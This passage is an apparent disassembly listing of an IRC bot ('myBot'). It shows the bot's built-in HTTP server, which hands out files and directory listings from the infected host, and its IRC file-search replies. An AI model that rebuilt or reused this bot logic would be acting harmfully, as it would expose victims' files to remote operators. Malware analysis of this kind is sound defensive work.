ds:dword_4211AC ; WSACleanup push 1 pop eax loc_405B04: ; CODE XREF: seg000:00405AA2j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B07 proc near ; DATA XREF: seg000:0040758Do ; seg000:00411EA3o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_415D50 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_415550 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call ds:dword_43A378 ; ntohs push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call ds:dword_43A3F8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405EF2 mov eax, [ebp+var_254] push 10h imul eax, 234h mov ds:dword_43F514[eax], edi lea eax, [ebp+var_24] push eax push edi call ds:dword_43A3A4 ; bind cmp eax, 0FFFFFFFFh jz loc_405EF2 push 7FFFFFFFh push edi call ds:dword_43A3A0 ; listen cmp eax, 0FFFFFFFFh jz loc_405EF2 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call ds:dword_43A414 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_405EF2 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BDE: ; CODE XREF: sub_405B07+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call ds:dword_43A360 ; select cmp eax, 0FFFFFFFFh jz loc_405EED xor esi, esi mov [ebp+var_4], esi loc_405C14: ; CODE XREF: sub_405B07+3DBj lea eax, [ebp+var_6F0] push eax push esi call ds:dword_43A270 ; __WSAFDIsSet test eax, eax jz loc_405ED8 cmp esi, [ebp+var_C] jnz short loc_405C96 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call ds:dword_43A40C ; accept cmp eax, 0FFFFFFFFh jz loc_405ED8 xor ecx, ecx test ebx, ebx jbe short loc_405C68 lea edx, [ebp+var_134] loc_405C5C: ; CODE XREF: sub_405B07+15Fj cmp [edx], eax jz short loc_405C68 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C5C loc_405C68: ; CODE XREF: sub_405B07+14Dj ; sub_405B07+157j cmp ecx, ebx jnz short loc_405C85 cmp ebx, 40h jnb short loc_405C85 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405C85: ; CODE XREF: sub_405B07+163j ; sub_405B07+168j cmp eax, [ebp+var_8] jbe loc_405ED8 mov [ebp+var_8], eax jmp loc_405ED8 ; --------------------------------------------------------------------------- loc_405C96: ; CODE XREF: sub_405B07+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_415550 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_415550 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call ds:dword_43A390 ; recv test eax, eax jg short loc_405D29 push esi call ds:dword_43A410 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_405ED8 lea eax, [ebp+var_134] loc_405CE8: ; CODE XREF: sub_405B07+1EBj cmp [eax], esi jz short loc_405CF9 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405CE8 jmp loc_405ED8 ; --------------------------------------------------------------------------- loc_405CF9: ; CODE XREF: sub_405B07+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D1D lea eax, [ebp+ecx*4+var_134] loc_405D07: ; CODE XREF: sub_405B07+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405D07 loc_405D1D: ; CODE XREF: sub_405B07+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405ED8 ; --------------------------------------------------------------------------- loc_405D29: ; CODE XREF: sub_405B07+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_415550 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_415CD0 add esp, 10h test eax, eax jbe loc_405ED8 loc_405D57: ; CODE XREF: sub_405B07+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405DFC mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_415AA0 pop ecx test eax, eax pop ecx jz short loc_405DD0 lea eax, [ebp+var_18F0] push eax call sub_415CD0 cmp eax, 5 pop ecx jbe short loc_405DD0 mov eax, offset asc_4269C8 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_415AA0 pop ecx pop ecx push eax call sub_415AA0 pop ecx pop ecx push eax call sub_416C78 push eax lea eax, [ebp+var_23C] push eax call sub_415BE0 add esp, 10h jmp short loc_405DE7 ; --------------------------------------------------------------------------- loc_405DD0: ; CODE XREF: sub_405B07+27Fj ; sub_405B07+291j lea eax, [ebp+var_18F0] push offset asc_4269C4 ; "\r\n" push eax call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_405E1B loc_405DE7: ; CODE XREF: sub_405B07+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_415550 add esp, 0Ch or esi, 0FFFFFFFFh loc_405DFC: ; CODE XREF: sub_405B07+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_415CD0 cmp [ebp+arg_0], eax pop ecx jb loc_405D57 jmp loc_405ED8 ; --------------------------------------------------------------------------- loc_405E1B: ; CODE XREF: sub_405B07+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E65 lea eax, [ebp+var_134] loc_405E27: ; CODE XREF: sub_405B07+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E38 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E27 jmp short loc_405E68 ; --------------------------------------------------------------------------- loc_405E38: ; CODE XREF: sub_405B07+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E5C lea eax, [ebp+ecx*4+var_134] loc_405E46: ; CODE XREF: sub_405B07+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E46 loc_405E5C: ; CODE XREF: sub_405B07+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E68 ; --------------------------------------------------------------------------- loc_405E65: ; CODE XREF: sub_405B07+318j mov esi, [ebp+var_4] loc_405E68: ; CODE XREF: sub_405B07+32Fj ; sub_405B07+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405ED1 lea eax, [ebp+var_360] push eax call sub_415CD0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_415CD0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405ED1 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call ds:dword_43A414 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4060E4 add esp, 14h jmp short loc_405ED8 ; --------------------------------------------------------------------------- loc_405ED1: ; CODE XREF: sub_405B07+369j ; sub_405B07+38Fj push esi call ds:dword_43A410 ; closesocket loc_405ED8: ; CODE XREF: sub_405B07+11Dj ; sub_405B07+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405C14 jmp loc_405BDE ; --------------------------------------------------------------------------- loc_405EED: ; CODE XREF: sub_405B07+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405EF2: ; CODE XREF: sub_405B07+6Aj ; sub_405B07+92j ... call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_42697C push eax call sub_4154CD add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F38 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_412D32 add esp, 14h loc_405F38: ; CODE XREF: sub_405B07+40Cj lea eax, [ebp+var_8F0] push eax call sub_40B151 pop ecx push edi call ds:dword_43A410 ; closesocket push [ebp+var_254] call sub_415295 pop ecx push ebx call near ptr 3D0000h db 64h pop edi pop esi pop ebx sub_405B07 endp ; sp-analysis failed loc_405F62: ; DATA XREF: sub_4060E4+246o push ebp mov ebp, esp mov eax, 1654h call sub_415D50 mov eax, [ebp+8] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp-44Ch] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp-3C8h] push eax lea eax, [ebp-550h] push eax call sub_4154CD lea eax, [ebp-2C4h] push eax lea eax, [ebp-654h] push eax call sub_4154CD xor edi, edi add esp, 10h cmp [ebp-0A4h], edi jz short loc_405FC7 push offset aTextHtml ; "text/html" jmp short loc_405FCC ; --------------------------------------------------------------------------- loc_405FC7: ; CODE XREF: seg000:00405FBEj push offset aApplicationOct ; "application/octet-stream" loc_405FCC: ; CODE XREF: seg000:00405FC5j lea eax, [ebp-9Ch] push eax call sub_4154CD pop ecx lea eax, [ebp-68h] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 3D0000h or ecx, [ebp+1E6AE045h] push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 3D0000h cmp cl, [ebp-427C1FBBh] dec eax ; --------------------------------------------------------------------------- db 3 dup(0FFh) ; --------------------------------------------------------------------------- call dword ptr [eax-73h] inc ebp cwde push eax lea eax, [ebp-20h] push eax lea eax, [ebp-68h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-68h] push eax jnz short loc_406045 lea eax, [ebp-9Ch] push eax lea eax, [ebp-1654h] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4154CD add esp, 24h jmp short loc_406066 ; --------------------------------------------------------------------------- loc_406045: ; CODE XREF: seg000:00406026j push dword ptr [ebp-0B8h] lea eax, [ebp-9Ch] push eax lea eax, [ebp-1654h] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4154CD add esp, 28h loc_406066: ; CODE XREF: seg000:00406043j lea eax, [ebp-1654h] push edi push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-1654h] push eax push dword ptr [ebp-44Ch] call ds:dword_43A3C8 ; send cmp [ebp-0A4h], edi jnz short loc_4060A6 lea eax, [ebp-550h] push eax push dword ptr [ebp-44Ch] call sub_406A16 pop ecx pop ecx jmp short loc_4060C3 ; --------------------------------------------------------------------------- loc_4060A6: ; CODE XREF: seg000:0040608Ej lea eax, [ebp-654h] push eax push edi push dword ptr [ebp-44Ch] lea eax, [ebp-550h] push eax call loc_406394 add esp, 10h loc_4060C3: ; CODE XREF: seg000:004060A4j push dword ptr [ebp-44Ch] call ds:dword_43A410 ; closesocket push dword ptr [ebp-0B4h] call sub_415295 pop ecx push edi call near ptr 3D0000h in al, 5Fh pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060E4 proc near ; CODE XREF: sub_405B07+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_415550 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40611A push eax push offset aS_2 ; "\\%s" jmp short loc_406123 ; --------------------------------------------------------------------------- loc_40611A: ; CODE XREF: sub_4060E4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_406123: ; CODE XREF: sub_4060E4+34j lea eax, [ebp+var_10C] push eax call sub_4154CD add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_415CD0 test eax, eax pop ecx jbe short loc_4061BE mov [ebp+arg_8], 2 loc_40614E: ; CODE XREF: sub_4060E4+D8j lea eax, [ebp+var_10C] push eax call sub_415CD0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40618E cmp [ebp+esi+var_10C], 25h jnz short loc_40618E cmp [ebp+esi+var_10B], 32h jnz short loc_40618E cmp [ebp+esi+var_10A], 30h jnz short loc_40618E inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40618E: ; CODE XREF: sub_4060E4+7Aj ; sub_4060E4+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40619E push 5Ch pop eax jmp short loc_4061A1 ; --------------------------------------------------------------------------- loc_40619E: ; CODE XREF: sub_4060E4+B3j movsx eax, al loc_4061A1: ; CODE XREF: sub_4060E4+B8j mov [ebp+ebx+var_210], al loc_4061A8: ; CODE XREF: sub_4060E4+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_415CD0 cmp esi, eax pop ecx jb short loc_40614E loc_4061BE: ; CODE XREF: sub_4060E4+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4154CD lea eax, [ebp+var_314] push offset asc_426C7C ; "\n" push eax call sub_416C78 add esp, 18h lea eax, [ebp+var_314] push eax call ds:dword_421094 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_40620C cmp eax, 0FFFFFFFFh jnz short loc_40620F push [ebp+arg_0] jmp short loc_40628B ; --------------------------------------------------------------------------- loc_40620C: ; CODE XREF: sub_4060E4+11Cj mov [ebp+var_4], esi loc_40620F: ; CODE XREF: sub_4060E4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40621C mov [ebp+var_4], esi loc_40621C: ; CODE XREF: sub_4060E4+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_406296 cmp [ebp+arg_C], edi jz short loc_40628A lea eax, [ebp+var_314] push offset asc_426C78 ; "*" push eax call sub_415BF0 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4154CD lea eax, [ebp+var_210] push eax call sub_406AD3 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4154CD add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_4062E5 ; --------------------------------------------------------------------------- loc_40628A: ; CODE XREF: sub_4060E4+14Fj push ebx loc_40628B: ; CODE XREF: sub_4060E4+126j call ds:dword_43A410 ; closesocket jmp loc_40638D ; --------------------------------------------------------------------------- loc_406296: ; CODE XREF: sub_4060E4+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call ds:dword_421078 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4062E5 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4154CD pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 3D0000h jmp short loc_40632F ; --------------------------------------------------------------------------- mov [ebp+var_330], eax call ds:dword_42106C ; CloseHandle loc_4062E5: ; CODE XREF: sub_4060E4+1A4j ; sub_4060E4+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_426C34 push eax call sub_4154CD push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_414F79 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov ds:dword_43F50C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset loc_405F62 loc_40632F: ; CODE XREF: sub_4060E4+1F3j push edi push edi call ds:dword_42108C ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov ds:dword_43F51C[ecx], eax jz short loc_40635F loc_40634D: ; CODE XREF: sub_4060E4+279j cmp [ebp+var_318], edi jnz short loc_40638D push 5 call ds:dword_421060 ; Sleep jmp short loc_40634D ; --------------------------------------------------------------------------- loc_40635F: ; CODE XREF: sub_4060E4+267j push ebx call ds:dword_43A410 ; closesocket call ds:dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_426BE8 push eax call sub_4154CD lea eax, [ebp+var_8C4] push eax call sub_40B151 add esp, 10h loc_40638D: ; CODE XREF: sub_4060E4+1ADj ; sub_4060E4+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_4060E4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_406394: ; CODE XREF: seg000:004060BBp ; seg000:00411483p push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp-594h] push ebx push eax mov [ebp-4], ebx mov [ebp-8], ebx call sub_415550 mov edi, [ebp+8] push offset asc_426C7C ; "\n" push edi call sub_416C78 add esp, 14h cmp [ebp+10h], ebx jz short loc_4063F3 push edi mov esi, 200h push dword ptr [ebp+10h] lea eax, [ebp-248h] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_415A4A add esp, 14h jmp loc_4064F0 ; --------------------------------------------------------------------------- loc_4063F3: ; CODE XREF: seg000:004063CEj cmp [ebp+14h], ebx push edi jz loc_4064D6 call sub_415CD0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp-248h] push esi push eax call sub_415A4A add esp, 14h lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp-248h] push esi push eax call sub_415A4A add esp, 10h lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send push edi call sub_415CD0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp-248h] push esi push eax call sub_415A4A add esp, 1Ch lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp-248h] push esi push eax call sub_415A4A add esp, 0Ch jmp short loc_4064F0 ; --------------------------------------------------------------------------- loc_4064D6: ; CODE XREF: seg000:004063F7j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp-248h] push esi push eax call sub_415A4A add esp, 10h loc_4064F0: ; CODE XREF: seg000:004063EEj ; seg000:004064D4j lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send cmp [ebp+14h], ebx jz short loc_406588 push dword ptr [ebp+14h] call sub_415CD0 cmp eax, 2 pop ecx jbe short loc_406588 push dword ptr [ebp+14h] call sub_415CD0 sub eax, 3 pop ecx jz short loc_40653C loc_406530: ; CODE XREF: seg000:0040653Aj mov ecx, [ebp+14h] cmp byte ptr [eax+ecx], 2Fh jz short loc_40653C dec eax jnz short loc_406530 loc_40653C: ; CODE XREF: seg000:0040652Ej ; seg000:00406537j inc eax push eax lea eax, [ebp-594h] push dword ptr [ebp+14h] push eax call sub_416D20 lea eax, [ebp-594h] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp-248h] push esi push eax call sub_415A4A add esp, 1Ch lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send loc_406588: ; CODE XREF: seg000:00406512j ; seg000:00406520j lea eax, [ebp-388h] push eax push edi call ds:dword_4210A8 ; FindFirstFileA lea ecx, [ebp-388h] mov [ebp+8], eax push ecx push eax call ds:dword_4210A4 ; FindNextFileA test eax, eax jz loc_406979 mov edi, 1FFh loc_4065B4: ; CODE XREF: seg000:00406973j cmp [ebp-388h], ebx jz loc_406961 lea eax, [ebp-35Ch] push offset a__ ; ".." push eax call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_406961 lea eax, [ebp-35Ch] push offset a__0 ; "." push eax call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_406961 lea eax, [ebp-20h] push eax lea eax, [ebp-374h] push eax call near ptr 3D0000h fisttp qword ptr [ebp-72AF17BBh] inc ebp loopne near ptr loc_40665C+3 call near ptr 3D0000h or [esi-75h], ah inc ebp lock mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406629 mov ecx, offset aAm ; "AM" loc_406629: ; CODE XREF: seg000:00406622j cmp ax, 0Ch movzx eax, ax jbe short loc_406635 sub eax, 0Ch loc_406635: ; CODE XREF: seg000:00406630j push ecx movzx ecx, word ptr [ebp-0Eh] push ecx push eax movzx eax, word ptr [ebp-18h] push eax movzx eax, word ptr [ebp-12h] push eax movzx eax, word ptr [ebp-16h] push eax lea eax, [ebp-48h] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4154CD add esp, 20h loc_40665C: ; CODE XREF: seg000:0040660Dj test byte ptr [ebp-388h], 10h jz loc_4067E2 inc dword ptr [ebp-8] cmp [ebp+10h], ebx jz short loc_4066B6 lea eax, [ebp-35Ch] push eax push offset aS_0 ; "<%s>" lea eax, [ebp-490h] push 106h push eax call sub_415A4A lea eax, [ebp-48h] push eax lea eax, [ebp-490h] push eax lea eax, [ebp-248h] push dword ptr [ebp+10h] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_415A4A add esp, 28h jmp loc_406932 ; --------------------------------------------------------------------------- loc_4066B6: ; CODE XREF: seg000:0040666Fj cmp [ebp+14h], ebx jz loc_4067A0 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp-248h] push edi push eax call sub_415A4A add esp, 10h lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send lea eax, [ebp-35Ch] push eax lea eax, [ebp-248h] push dword ptr [ebp+14h] push offset aSS ; "%s%s/" push edi push eax call sub_415A4A add esp, 14h lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send lea eax, [ebp-35Ch] push eax call sub_415CD0 cmp eax, 1Eh pop ecx lea eax, [ebp-35Ch] push eax jbe short loc_406756 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40675B ; --------------------------------------------------------------------------- loc_406756: ; CODE XREF: seg000:0040674Dj push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40675B: ; CODE XREF: seg000:00406754j lea eax, [ebp-248h] push edi push eax call sub_415A4A add esp, 10h lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send lea eax, [ebp-48h] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_406923 ; --------------------------------------------------------------------------- loc_4067A0: ; CODE XREF: seg000:004066B9j lea eax, [ebp-35Ch] push eax push offset aS_0 ; "<%s>" lea eax, [ebp-490h] push 106h push eax call sub_415A4A lea eax, [ebp-48h] push eax lea eax, [ebp-490h] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_4067CD: ; CODE XREF: seg000:0040680Aj lea eax, [ebp-248h] push esi push eax call sub_415A4A add esp, 24h jmp loc_406932 ; --------------------------------------------------------------------------- loc_4067E2: ; CODE XREF: seg000:00406663j inc dword ptr [ebp-4] cmp [ebp+10h], ebx jz short loc_40680C push ebx push dword ptr [ebp-368h] call sub_40C1FC push eax lea eax, [ebp-48h] push eax lea eax, [ebp-35Ch] push eax push dword ptr [ebp+10h] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_4067CD ; --------------------------------------------------------------------------- loc_40680C: ; CODE XREF: seg000:004067E8j cmp [ebp+14h], ebx jz loc_40690C push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp-248h] push edi push eax call sub_415A4A add esp, 10h lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send lea eax, [ebp-35Ch] push eax lea eax, [ebp-248h] push dword ptr [ebp+14h] push offset aSS_2 ; "%s%s" push edi push eax call sub_415A4A add esp, 14h lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send lea eax, [ebp-35Ch] push eax call sub_415CD0 cmp eax, 1Fh pop ecx lea eax, [ebp-35Ch] push eax jbe short loc_4068AC push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068B1 ; --------------------------------------------------------------------------- loc_4068AC: ; CODE XREF: seg000:004068A3j push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068B1: ; CODE XREF: seg000:004068AAj lea eax, [ebp-248h] push edi push eax call sub_415A4A add esp, 10h lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send mov eax, [ebp-368h] shr eax, 0Ah push eax lea eax, [ebp-48h] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp-248h] push edi push eax call sub_415A4A add esp, 1Ch jmp short loc_406932 ; --------------------------------------------------------------------------- loc_40690C: ; CODE XREF: seg000:0040680Fj push dword ptr [ebp-368h] lea eax, [ebp-48h] push eax lea eax, [ebp-35Ch] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_406923: ; CODE XREF: seg000:0040679Bj lea eax, [ebp-248h] push eax call sub_415A4A add esp, 18h loc_406932: ; CODE XREF: seg000:004066B1j ; seg000:004067DDj ... lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send cmp [ebp+10h], ebx jz short loc_406961 push 7D0h call ds:dword_421060 ; Sleep loc_406961: ; CODE XREF: seg000:004065BAj ; seg000:004065D5j ... lea eax, [ebp-388h] push eax push dword ptr [ebp+8] call ds:dword_4210A4 ; FindNextFileA test eax, eax jnz loc_4065B4 loc_406979: ; CODE XREF: seg000:004065A9j push dword ptr [ebp+8] call near ptr 3D0000h js short loc_4069BC pop ebp adc [ebp+esi-75h], dh inc ebp clc cdq push edx push eax call sub_40C1FC pop ecx pop ecx push eax mov eax, [ebp-4] cdq push edx push eax call sub_40C1FC pop ecx pop ecx push eax lea eax, [ebp-248h] push dword ptr [ebp+10h] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4154CD add esp, 14h jmp short loc_4069F0 ; --------------------------------------------------------------------------- loc_4069BC: ; CODE XREF: seg000:00406981j cmp [ebp+14h], ebx jz short loc_4069D6 lea eax, [ebp-248h] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD 